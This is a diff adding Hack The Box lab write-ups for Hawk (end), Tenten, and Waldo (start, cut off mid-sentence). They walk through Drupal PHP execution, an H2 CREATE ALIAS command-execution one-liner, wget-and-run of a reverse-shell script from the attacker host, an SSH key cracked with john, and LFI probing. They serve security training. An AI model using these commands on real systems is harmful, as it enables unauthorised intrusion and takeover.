[~/_HTB/Hawk] + → openssl aes-256-cbc -d -in drupal.txt.enc -out drupal.txt + enter aes-256-cbc decryption password: + *** WARNING : deprecated key derivation used. + Using -iter or -pbkdf2 would be better. + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/Hawk] + → ls + drupal.txt drupal.txt.enc + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/Hawk] + → cat drupal.txt + Daniel, + + Following the password for the portal: + + PencilKeyboardScanner123 + + Please let us know when the portal is ready. + + Kind Regards, + + IT department + + +And we have another password to use ! PencilKeyboardScanner123, now let's investigate the http port our nmap scan picked up earlier : + +![](prg/29_001.png) + +And we are logged in as admin ! now let's enable php: + +![](prg/29_002.png) ![](prg/29_003.png) + +And once we saved the configuration at the bottom, we head into Content > Add Content > Basic Page: + +![](prg/29_004.png) + +Scroll down, clicking preview with a netcat listener on our port 9001: + +![](prg/29_005.png) + +And we get a low privilege shell as www-data ! now let's see what we can do from there: + + + www-data@hawk:/var/www/html$ uname -a + uname -a + Linux hawk 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + www-data@hawk:/var/www/html$ ls -la + ls -la + total 296 + drwxr-xr-x 9 root root 4096 Jun 11 2018 . + drwxr-xr-x 3 root root 4096 Jun 11 2018 .. + -rw-r--r-- 1 www-data www-data 6104 Jun 11 2018 .htaccess + -rwxr-x--- 1 www-data www-data 111859 Jun 11 2018 CHANGELOG.txt + -rwxr-x--- 1 www-data www-data 1481 Jun 11 2018 COPYRIGHT.txt + -rwxr-x--- 1 www-data www-data 1717 Jun 11 2018 INSTALL.mysql.txt + -rwxr-x--- 1 www-data www-data 1874 Jun 11 2018 INSTALL.pgsql.txt + -rwxr-x--- 1 www-data www-data 1298 Jun 11 2018 INSTALL.sqlite.txt + -rwxr-x--- 1 www-data www-data 17995 Jun 11 2018 INSTALL.txt + -rwxr-x--- 1 www-data www-data 18092 Jun 11 2018 LICENSE.txt + -rwxr-x--- 1 www-data www-data 8710 Jun 11 2018 MAINTAINERS.txt + -rwxr-x--- 1 www-data www-data 5382 Jun 11 2018 README.txt + -rwxr-x--- 1 www-data www-data 10123 Jun 11 2018 UPGRADE.txt + -rwxr-x--- 1 www-data www-data 6604 Jun 11 2018 authorize.php + -rwxr-x--- 1 www-data www-data 720 Jun 11 2018 cron.php + drwxr-x--- 4 www-data www-data 4096 Jun 11 2018 includes + -rwxr-x--- 1 www-data www-data 529 Jun 11 2018 index.php + -rwxr-x--- 1 www-data www-data 703 Jun 11 2018 install.php + drwxr-x--- 4 www-data www-data 4096 Jun 11 2018 misc + drwxr-x--- 42 www-data www-data 4096 Jun 11 2018 modules + drwxr-x--- 5 www-data www-data 4096 Jun 11 2018 profiles + -rwxr-x--- 1 www-data www-data 2189 Jun 11 2018 robots.txt + drwxr-x--- 2 www-data www-data 4096 Jun 11 2018 scripts + drwxr-x--- 4 www-data www-data 4096 Jun 11 2018 sites + drwxr-x--- 7 www-data www-data 4096 Jun 11 2018 themes + -rwxr-x--- 1 www-data www-data 19986 Jun 11 2018 update.php + -rwxr-x--- 1 www-data www-data 2200 Jun 11 2018 web.config + -rwxr-x--- 1 www-data www-data 417 Jun 11 2018 xmlrpc.php + + www-data@hawk:/var/www/html/sites/default$ ls -lash /home + ls -lash /home + total 12K + 4.0K drwxr-xr-x 3 root root 4.0K Jun 16 2018 . + 4.0K drwxr-xr-x 23 root root 4.0K Jun 12 2018 .. + 4.0K drwxr-xr-x 5 daniel daniel 4.0K Jul 1 2018 daniel + + +Here we see that the only user on this box is daniel. which we can also verify by printing out /etc/passwd to which we see that he can use python3, which will be handy to upgrade our shell to a TTY shell: + + + www-data@hawk:/var/www/html/sites/default$ cat /etc/passwd | grep daniel + cat /etc/passwd | grep daniel + daniel:x:1002:1005::/home/daniel:/usr/bin/python3 + + +Poking around with out low privilege shell we stumble upon /var/www/html/sites/default/settings.php which contains cleartext passwords : + + + www-data@hawk:/var/www/html$ cd sites + cd sites + www-data@hawk:/var/www/html/sites$ ls + ls + README.txt + all + default + example.sites.php + www-data@hawk:/var/www/html/sites$ cd default + cd default + www-data@hawk:/var/www/html/sites/default$ ls -lash + ls -lash + total 68K + 4.0K dr-xr-x--- 3 www-data www-data 4.0K Jun 11 2018 . + 4.0K drwxr-x--- 4 www-data www-data 4.0K Jun 11 2018 .. + 28K -rwxr-x--- 1 www-data www-data 26K Jun 11 2018 default.settings.php + 4.0K drwxrwxr-x 3 www-data www-data 4.0K Jun 11 2018 files + 28K -r--r--r-- 1 www-data www-data 26K Jun 11 2018 settings.php + www-data@hawk:/var/www/html/sites/default$ cat settings.php | grep pasword + cat settings.php | grep pasword + www-data@hawk:/var/www/html/sites/default$ egrep password settings.php + egrep password settings.php + * 'password' => 'password', + * username, password, host, and database name. + * 'password' => 'password', + * 'password' => 'password', + * 'password' => 'password', + * 'password' => 'password', + 'password' => 'drupal4hawk', + * by using the username and password variables. The proxy_user_agent variable + # $conf['proxy_password'] = ''; + + +And we have another password "drupal4hawk" ! Now let's ssh as daniel on the box and grab his flag : + + + λ nihilist [ 10.10.14.24/23 ] [~] + → ssh daniel@10.10.10.102 + The authenticity of host '10.10.10.102 (10.10.10.102)' can't be established. + ECDSA key fingerprint is SHA256:ApgoV2acarN6BgPWgNLAt+2Hx2sO1pDqmhmetmW6pvk. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.102' (ECDSA) to the list of known hosts. + daniel@10.10.10.102's password: + Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Fri Mar 20 07:40:46 UTC 2020 + + System load: 0.0 Processes: 109 + Usage of /: 54.1% of 9.78GB Users logged in: 0 + Memory usage: 47% IP address for ens33: 10.10.10.102 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 55 packages can be updated. + 3 updates are security updates. + + + Last login: Sun Jul 1 13:46:16 2018 from dead:beef:2::1004 + Python 3.6.5 (default, Apr 1 2018, 05:46:30) + [GCC 7.3.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> + + +Now as we predicted earlier, we are not dropped into a bash shell but in a python3 shell! python has libraries to spawn a tty shell for us which is fairly easy as you can see : + + + Last login: Sun Jul 1 13:46:16 2018 from dead:beef:2::1004 + Python 3.6.5 (default, Apr 1 2018, 05:46:30) + [GCC 7.3.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> import pty + >>> pty.spawn("/bin/bash") + daniel@hawk:~$ ls + user.txt + daniel@hawk:~$ cat user.txt + d5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user we need to enumerate the box further, starting with particular proceses ran as root: + + + daniel@hawk:~$ ps auxw | grep java + root 807 0.0 0.0 4628 800 ? Ss Mar19 0:00 /bin/sh -c /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar + root 808 0.0 5.1 2329256 50836 ? Sl Mar19 0:31 /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar + daniel 17511 0.0 0.1 13136 1064 pts/1 S+ 07:43 0:00 grep java + + +That's a H2 database running which our nmap scan didn't pick up earlier. so let's run another, more complete nmap scan to pick up which port the H2 database is running on : + + + λ nihilist [ 10.10.14.24/23 ] [~] + → nmap -F 10.10.10.102 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 07:45 GMT + Nmap scan report for 10.10.10.102 + Host is up (0.078s latency). + Not shown: 8314 closed ports + PORT STATE SERVICE + 21/tcp open ftp + 22/tcp open ssh + 80/tcp open http + 5435/tcp open sceanics + 8082/tcp open blackice-alerts + 9092/tcp open XmlIpcRegSvc + + Nmap done: 1 IP address (1 host up) scanned in 12.54 seconds + + +Let's investigate our 3 new ports 9092 8082 and 5435 : + + + λ nihilist [ 10.10.14.24/23 ] [~] + → nmap -sCV -p5435,8082,9092 10.10.10.102 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 07:46 GMT + Nmap scan report for 10.10.10.102 + Host is up (0.078s latency). + + PORT STATE SERVICE VERSION + 5435/tcp open tcpwrapped + 8082/tcp open http H2 database http console + |_http-title: H2 Console + 9092/tcp open XmlIpcRegSvc? + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port9092-TCP:V=7.80%I=7%D=3/20%Time=5E7474DD%P=x86_64-pc-linux-gnu%r(NU + SF:LL,45E + + +And here we see that the H2 database is running on port 8082 However we see that remote connections to it are disabled so we bypass that by creating a ssh tunnel from it's remote port 8080 to our local port 8082 : + +![](prg/29_006.png) + +No need to login we can just change the JDBC URL to /root to gain access to the console : + +![](prg/29_007.png) + +And from there we can abuse the H2 DB ALIAS to privesc to the root user with this java one liner : + + + CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$; + + +` ![](prg/29_008.png) + +Now when we run the command "id" we see that we get command execution as root! + +![](prg/29_009.png) + +Now from there we just need to get a reverse shell as the root user, and to do so we ready our reverse shell one liner with python's SimpleHTTPServer module on port 8999, along with our netcat listener on port 9001, But we need to check if wget is on the box : + +![](prg/29_010.png) + +And wget is on the box ! but if we type in 'which curl' we see that curl is also there on the box, so we could potentially print out the contents of our exploit, and pipe it into bash to get our reverse shell, but that's not the case here, because we cannot use each one of our special characters such as && or | or > therefore we have to execute each command in the following order : + + + call SHELLEXEC('wget http://10.10.14.24:8999/nihilist.sh') + call SHELLEXEC('chmod +x nihilist.sh') + call SHELLEXEC('bash nihilist.sh') + + +` ![](prg/29_011.png) + +And that's it ! We have been able to get a reverse shell as root and print the flag ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/29_graph.png) + diff --git a/Medium/3.md b/Medium/3.md new file mode 100644 index 0000000..33fbc62 --- /dev/null +++ b/Medium/3.md @@ -0,0 +1,374 @@ +# Tenten Writeup + +![](img/3.png) + +## Introduction : + +Tenten is a medium linux box released back in March 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -F 10.10.10.10 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 15:20 GMT + Nmap scan report for 10.10.10.10 + Host is up (0.100s latency). + Not shown: 98 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 3.36 seconds + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -sCV -p22,80 10.10.10.10 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 15:21 GMT + Nmap scan report for 10.10.10.10 + Host is up (0.10s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 ec:f7:9d:38:0c:47:6f:f0:13:0f:b9:3b:d4:d6:e3:11 (RSA) + | 256 cc:fe:2d:e2:7f:ef:4d:41:ae:39:0e:91:ed:7e:9d:e7 (ECDSA) + |_ 256 8d:b5:83:18:c0:7c:5d:3d:38:df:4b:e1:a4:82:8a:07 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-generator: WordPress 4.7.3 + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Job Portal - Just another WordPress site + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 12.70 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up wordpress running on port 80 : let's run WPScan to enumerate it further : + +![](prg/3_001.png) + + + λ nihilist [ 10.10.14.20/23 ] [~] + → wpscan --url http://10.10.10.10/ -e + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.7.8 + Sponsored by Automattic - https://automattic.com/ + @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart + _______________________________________________________________ + + [+] URL: http://10.10.10.10/ + [+] Started: Fri Feb 21 15:25:37 2020 + + Interesting Finding(s): + + [+] http://10.10.10.10/ + | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) + | Found By: Headers (Passive Detection) + | Confidence: 100% + + [+] http://10.10.10.10/xmlrpc.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + | References: + | - http://codex.wordpress.org/XML-RPC_Pingback_API + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner + | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access + + [+] http://10.10.10.10/readme.html + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + + [+] http://10.10.10.10/wp-cron.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 60% + | References: + | - https://www.iplocation.net/defend-wordpress-from-ddos + | - https://github.com/wpscanteam/wpscan/issues/1299 + + [+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06). + | Found By: Rss Generator (Passive Detection) + | - http://10.10.10.10/index.php/feed/, https://wordpress.org/?v=4.7.3 + | - http://10.10.10.10/index.php/comments/feed/, https://wordpress.org/?v=4.7.3 + + [+] WordPress theme in use: twentyseventeen + | Location: http://10.10.10.10/wp-content/themes/twentyseventeen/ + | Last Updated: 2019-05-07T00:00:00.000Z + | Readme: http://10.10.10.10/wp-content/themes/twentyseventeen/README.txt + | [!] The version is out of date, the latest version is 2.2 + | Style URL: http://10.10.10.10/wp-content/themes/twentyseventeen/style.css?ver=4.7.3 + | Style Name: Twenty Seventeen + | Style URI: https://wordpress.org/themes/twentyseventeen/ + | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... + | Author: the WordPress team + | Author URI: https://wordpress.org/ + | + | Found By: Css Style In Homepage (Passive Detection) + | + | Version: 1.1 (80% confidence) + | Found By: Style (Passive Detection) + | - http://10.10.10.10/wp-content/themes/twentyseventeen/style.css?ver=4.7.3, Match: 'Version: 1.1' + + [+] Enumerating Vulnerable Plugins (via Passive Methods) + [+] Checking Plugin Versions (via Passive and Aggressive Methods) + + [i] No plugins Found. + + [+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods) + Checking Known Locations - Time: 00:00:07 <======================================> (324 / 324) 100.00% Time: 00:00:07 + [+] Checking Theme Versions (via Passive and Aggressive Methods) + + [i] No themes Found. + + [+] Enumerating Timthumbs (via Passive and Aggressive Methods) + Checking Known Locations - Time: 00:00:55 <====================================> (2575 / 2575) 100.00% Time: 00:00:55 + + [i] No Timthumbs Found. + + [+] Enumerating Config Backups (via Passive and Aggressive Methods) + Checking Config Backups - Time: 00:00:00 <=========================================> (21 / 21) 100.00% Time: 00:00:00 + + [i] No Config Backups Found. + + [+] Enumerating DB Exports (via Passive and Aggressive Methods) + Checking DB Exports - Time: 00:00:00 <=============================================> (36 / 36) 100.00% Time: 00:00:00 + + [i] No DB Exports Found. + + [+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected) + Brute Forcing Attachment IDs - Time: 00:00:02 <==================================> (100 / 100) 100.00% Time: 00:00:02 + + [i] No Medias Found. + + [+] Enumerating Users (via Passive and Aggressive Methods) + Brute Forcing Author IDs - Time: 00:00:00 <========================================> (10 / 10) 100.00% Time: 00:00:00 + + [i] User(s) Identified: + + [+] takis + | Found By: Author Posts - Author Pattern (Passive Detection) + | Confirmed By: + | Rss Generator (Passive Detection) + | Wp Json Api (Aggressive Detection) + | - http://10.10.10.10/index.php/wp-json/wp/v2/users/?per_page=100&page;=1 + | Author Id Brute Forcing - Author Pattern (Aggressive Detection) + | Login Error Messages (Aggressive Detection) + + [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. + [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up + + [+] Finished: Fri Feb 21 15:26:54 2020 + [+] Requests Done: 3082 + [+] Cached Requests: 40 + [+] Data Sent: 762.012 KB + [+] Data Received: 707.953 KB + [+] Memory used: 209.004 MB + [+] Elapsed time: 00:01:17 + + + +Looking at the results , we see that our scan picked up the usernames : takis and user1, let's head over to the website, clicking on the "jobs listing tab" + +![](prg/3_002.png) + +Here we see that we are looking at what seems to be the page indexed 8, so let's see if we can list every page to see if we can find any irregularities + + + λ nihilist [ 10.10.14.20/23 ] [~] + → for i in $(seq 1 15); do echo -n "$i: "; curl -s http://10.10.10.10/index.php/jobs/apply/$i/ | grep '<****title>'; done + 1: <****title>Job Application: Hello world! - Job Portal<****/title> + 2: <****title>Job Application: Sample Page - Job Portal<****/title> + 3: <****title>Job Application: Auto Draft - Job Portal<****/title> + 4: <****title>Job Application - Job Portal<****/title> + 5: <****title>Job Application: Jobs Listing - Job Portal<****/title> + 6: <****title>Job Application: Job Application - Job Portal<****/title> + 7: <****title>Job Application: Register - Job Portal<****/title> + 8: <****title>Job Application: Pen Tester - Job Portal<****/title> + 9: <****title>Job Application: - Job Portal<****/title> + 10: <****title>Job Application: Application - Job Portal<****/title> + 11: <****title>Job Application: cube - Job Portal<****/title> + 12: <****title>Job Application: Application - Job Portal<****/title> + 13: <****title>Job Application: HackerAccessGranted - Job Portal<****/title> + 14: <****title>Job Application - Job Portal<****/title> + 15: <****title>Job Application - Job Portal<****/title> + +Looks like we have something odd at the index 13, which could indicate an outdated wordpress plugin vulnerability : [CVE-2015-6668](https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/) Which details how one can access files at a certain url using the following syntax **/wp-content/uploads/%year%/%month%/%filename%** + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → wget http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg + --2020-02-21 15:40:29-- http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg + Connecting to 10.10.10.10:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 262408 (256K) [image/jpeg] + Saving to: ‘HackerAccessGranted.jpg’ + + HackerAccessGranted.jpg 100%[===============================================>] 256.26K 418KB/s in 0.6s + + 2020-02-21 15:40:29 (418 KB/s) - ‘HackerAccessGranted.jpg’ saved [262408/262408] + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → file HackerAccessGranted.jpg + HackerAccessGranted.jpg: JPEG image data, JFIF standard 1.01, resolution (DPCM), density 29x29, segment length 16, baseline, precision 8, 1500x1001, components 3 + + +Looking at the results, we seem to have downloaded a jpg file , but let's assume that this is no regular image, and it probably contains some information. Using steganography tools we discover the hidden data : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → steghide extract -sf HackerAccessGranted.jpg + Enter passphrase: + wrote extracted data to "id_rsa". + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → file id_rsa + id_rsa: PEM RSA private key + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → cat id_rsa + -----BEGIN RSA PRIVATE KEY----- + Proc-Type: 4,ENCRYPTED + DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C + + /HXcUBOT3JhzblH7uF9Vh7faa76XHIdr/Ch0pDnJunjdmLS/laq1kulQ3/RF/Vax + tjTzj/V5hBEcL5GcHv3esrODlS0jhML53lAprkpawfbvwbR+XxFIJuz7zLfd/vDo + 1KuGrCrRRsipkyae5KiqlC137bmWK9aE/4c5X2yfVTOEeODdW0rAoTzGufWtThZf + K2ny0iTGPndD7LMdm/o5O5As+ChDYFNphV1XDgfDzHgonKMC4iES7Jk8Gz20PJsm + SdWCazF6pIEqhI4NQrnkd8kmKqzkpfWqZDz3+g6f49GYf97aM5TQgTday2oFqoXH + WPhK3Cm0tMGqLZA01+oNuwXS0H53t9FG7GqU31wj7nAGWBpfGodGwedYde4zlOBP + VbNulRMKOkErv/NCiGVRcK6k5Qtdbwforh+6bMjmKE6QvMXbesZtQ0gC9SJZ3lMT + J0IY838HQZgOsSw1jDrxuPV2DUIYFR0W3kQrDVUym0BoxOwOf/MlTxvrC2wvbHqw + AAniuEotb9oaz/Pfau3OO/DVzYkqI99VDX/YBIxd168qqZbXsM9s/aMCdVg7TJ1g + 2gxElpV7U9kxil/RNdx5UASFpvFslmOn7CTZ6N44xiatQUHyV1NgpNCyjfEMzXMo + 6FtWaVqbGStax1iMRC198Z0cRkX2VoTvTlhQw74rSPGPMEH+OSFksXp7Se/wCDMA + pYZASVxl6oNWQK+pAj5z4WhaBSBEr8ZVmFfykuh4lo7Tsnxa9WNoWXo6X0FSOPMk + tNpBbPPq15+M+dSZaObad9E/MnvBfaSKlvkn4epkB7n0VkO1ssLcecfxi+bWnGPm + KowyqU6iuF28w1J9BtowgnWrUgtlqubmk0wkf+l08ig7koMyT9KfZegR7oF92xE9 + 4IWDTxfLy75o1DH0Rrm0f77D4HvNC2qQ0dYHkApd1dk4blcb71Fi5WF1B3RruygF + 2GSreByXn5g915Ya82uC3O+ST5QBeY2pT8Bk2D6Ikmt6uIlLno0Skr3v9r6JT5J7 + L0UtMgdUqf+35+cA70L/wIlP0E04U0aaGpscDg059DL88dzvIhyHg4Tlfd9xWtQS + VxMzURTwEZ43jSxX94PLlwcxzLV6FfRVAKdbi6kACsgVeULiI+yAfPjIIyV0m1kv + 5HV/bYJvVatGtmkNuMtuK7NOH8iE7kCDxCnPnPZa0nWoHDk4yd50RlzznkPna74r + Xbo9FdNeLNmER/7GGdQARkpd52Uur08fIJW2wyS1bdgbBgw/G+puFAR8z7ipgj4W + p9LoYqiuxaEbiD5zUzeOtKAKL/nfmzK82zbdPxMrv7TvHUSSWEUC4O9QKiB3amgf + yWMjw3otH+ZLnBmy/fS6IVQ5OnV6rVhQ7+LRKe+qlYidzfp19lIL8UidbsBfWAzB + 9Xk0sH5c1NQT6spo/nQM3UNIkkn+a7zKPJmetHsO4Ob3xKLiSpw5f35SRV+rF+mO + vIUE1/YssXMO7TK6iBIXCuuOUtOpGiLxNVRIaJvbGmazLWCSyptk5fJhPLkhuK+J + YoZn9FNAuRiYFL3rw+6qol+KoqzoPJJek6WHRy8OSE+8Dz1ysTLIPB6tGKn7EWnP + -----END RSA PRIVATE KEY----- + + +Looks like we extracted a private key ! although it is encrypted, so we'll use sshng2john and john to crack it and somehow guess it's passphrase. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → curl -sk https://raw.githubusercontent.com/truongkma/ctf-tools/master/John/run/sshng2john.py > sshng2john.py + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → python sshng2john.py id_rsa > id_rsa.encrypted + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → file id_rsa.encrypted + id_rsa.encrypted: ASCII text, with very long lines + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → john id_rsa.encrypted --wordlist=/usr/share/wordlists/rockyou.txt + Created directory: /home/nihilist/.john + Using default input encoding: UTF-8 + Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) + Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes + Cost 2 (iteration count) is 1 for all loaded hashes + Will run 4 OpenMP threads + Note: This format may emit false positives, so it will keep trying even after + finding a possible candidate. + Press 'q' or Ctrl-C to abort, almost any other key for status + superpassword (id_rsa) + Warning: Only 2 candidates left, minimum 4 needed for performance. + 1g 0:00:00:09 DONE (2020-02-21 15:46) 0.1006g/s 1442Kp/s 1442Kc/s 1442KC/sa6_123..*7¡Vamos! + Session completed + + +and it was quick ! the password was at the beginning of rockyou.txt : superpassword , now let's use it to log into the machine : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → chmod 600 id_rsa + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] + → ssh -i id_rsa takis@10.10.10.10 + Enter passphrase for key 'id_rsa': + Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 65 packages can be updated. + 39 updates are security updates. + + + Last login: Fri May 5 23:05:36 2017 + takis@tenten:~$ whoami + takis + takis@tenten:~$ cat /home/takis/user.txt + e5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user password. + +## **Part 3 : Getting Root Access** + +In order to privesc we check if we can execute any binary as root without passwords using sudo -l + + + takis@tenten:~$ cat /root/root.txt + cat: /root/root.txt: Permission denied + takis@tenten:~$ sudo -l + Matching Defaults entries for takis on tenten: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User takis may run the following commands on tenten: + (ALL : ALL) ALL + (ALL) NOPASSWD: /bin/fuckin + + +looks like we have a candidate named fuckin , let's see if we can execute commands as root : + + + takis@tenten:~$ fuckin id + uid=1000(takis) gid=1000(takis) groups=1000(takis),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) + + takis@tenten:~$ sudo fuckin id + uid=0(root) gid=0(root) groups=0(root) + + +And we were right , we can execute commands as root, let's print out the root flag : + + + takis@tenten:~$ sudo fuckin cat /root/root.txt + f9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/3_graph.png) + diff --git a/Medium/30.md b/Medium/30.md new file mode 100644 index 0000000..9be2658 --- /dev/null +++ b/Medium/30.md @@ -0,0 +1,451 @@ +# Waldo Writeup + +![](img/30.png) + +## Introduction : + +Waldo is a Medium linux box released back in August 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + {Ø} nihilist [ 10.10.14.24/23 ] [~] + → nmap -F 10.10.10.87 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 10:34 GMT + Nmap scan report for 10.10.10.87 + Host is up (0.096s latency). + Not shown: 8317 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 8888/tcp filtered sun-answerbook + + Nmap done: 1 IP address (1 host up) scanned in 18.37 seconds + + {Ø} nihilist [ 10.10.14.24/23 ] [~] + → nmap -sCV -p22,80,8888 10.10.10.87 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 10:35 GMT + Nmap scan report for 10.10.10.87 + Host is up (0.081s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) + | ssh-hostkey: + | 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA) + | 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA) + |_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519) + 80/tcp open http nginx 1.12.2 + |_http-server-header: nginx/1.12.2 + | http-title: List Manager + |_Requested resource was /list.html + |_http-trane-info: Problem with XML parsing of /evox/about + 8888/tcp filtered sun-answerbook + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds + + + + {Ø} root [ 10.10.14.24/23 ] [/home/nihilist] + → echo '10.10.10.87 waldo.htb' >> /etc/hosts + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/30_001.png) + +Here we are greeted with a simple http website, and peeking at the sourcecode we are hinted towards a /list.js script: + +![](prg/30_002.png) + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Waldo] + → curl -sk http://10.10.10.87/list.js + + +Whose script returns quite a few javascript functions, but we'll take a closer look at the readFile function: + + + function readFile(file){ + var xhttp = new XMLHttpRequest(); + xhttp.open("POST","fileRead.php",false); + xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); + xhttp.send('file=' + file); + if (xhttp.readyState === 4 && xhttp.status === 200) { + return xhttp.responseText; + }else{ + } + } + + +This function takes in an XML HTTP Requestn which can be sent as a POST request to /fileRead.php, and from there we can use the file= parameter to read the content of the files, so we'll see if we can get Local File Inclusion. Let's start up Burpsuite and craft our custom POST Request : + +![](prg/30_003.png) + +Intercept our GET request aimed at /fileRead.php and send it to burpsuite's Repeater (CTRL+R) and go there (CTRL+SHIFT+R) + +![](prg/30_004.png) + +Now just changing the POST request isn't enough we need to tweak the POST Request further : + +![](prg/30_005.png) + +Now that we can read the contents of dirRead.php whose function uses a str_array function filter to replace the characters that could be used for LFI. + + + str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['path']); + + + +Without the 